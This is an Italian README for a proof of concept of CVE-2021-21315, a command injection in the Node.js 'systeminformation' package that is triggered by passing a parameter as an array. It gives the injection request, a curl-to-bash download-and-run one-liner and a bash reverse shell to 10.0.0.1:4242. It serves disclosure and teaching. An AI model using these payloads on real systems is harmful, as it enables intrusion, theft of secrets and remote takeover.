CVE-2021-21315-systeminformation

Questa è una Proof of Concept per CVE-2021-21315 che interessa la libreria System Information per Node.JS (pacchetto npm "systeminformation"). npmjs.com/systeminformation

"assicurati di controllare o sanificare i parametri di servizio che vengono passati a si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... accetta solo stringhe, rifiuta eventuali array. La sanificazione delle stringhe funziona come previsto."

Poiché si tratta di una vulnerabilità non ben spiegata (a mio parere), ho deciso di creare una piccola app basata sulla versione vulnerabile di systeminformation. Il PoC contiene:

1. App di test realizzata in Node.js, che utilizza express e systeminformation vulnerabile
2. Semplice payload di test per creare un file .txt sulla macchina interessata

Passaggi per riprodurre:

1. Esegui l'applicazione su un ambiente server Linux
2. Effettua una richiesta GET a site.com/api/getServices?name=nginx (nginx è solo un esempio)
3. Ora prova a inviare una richiesta come questa: yoursite.com/api/getServices?name=$(echo -e 'Sekurak' > pwn.txt)

Fallirà a causa della sanificazione delle stringhe:

Come detto nei dettagli della CVE "la sanificazione funziona come previsto, rifiuta eventuali array [...]"

4. Ora prova a inviare la richiesta: yoursite.com/api/getServices?name[]=$(echo -e 'Sekurak' > pwn.txt) Questa volta, se guardi il valore di "name", non è stato sanificato – successo! Vediamo se il comando è stato eseguito.

Successo! Il nostro comando è stato eseguito. Ovviamente a nessuno importa di "pwn.txt", ma un potenziale attaccante può:

1. Caricare file interni, come index.js (il cuore della nostra applicazione, con potenziali chiavi API, stringa di connessione al database e altro) o altri
2. Scaricare ed eseguire script - curl -s http://server/path/script.sh | bash /dev/stdin arg1 arg2
3. Reverse shell - bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
4. Uccidere processi (puoi anche uccidere la nostra applicazione Node di test)
5. Cose ancora più malvagie....

"Iniezione di comandi" suona innocente, ma può avere un enorme impatto se si verificano determinate condizioni.

Il problema è stato risolto nella versione 5.3.1 di "systeminformation" Crediti a https://www.huntr.dev/users/EffectRenan (Lui ha trovato la vulnerabilità, tuttavia secondo me, il suo "PoC" non ha mostrato l'impatto nel mondo reale)

Inoltre, non esitare a usare questo PoC in qualche CTF, ma sarebbe bello se accrediterai l'autore della scoperta – EffectRean – e il creatore del PoC – io, grazie!

Disclaimer

Questo progetto può essere utilizzato solo per scopi educativi. L'uso di questo software contro sistemi target senza previa autorizzazione è illegale, e eventuali danni derivanti dall'uso improprio di questo software non saranno di responsabilità dell'autore.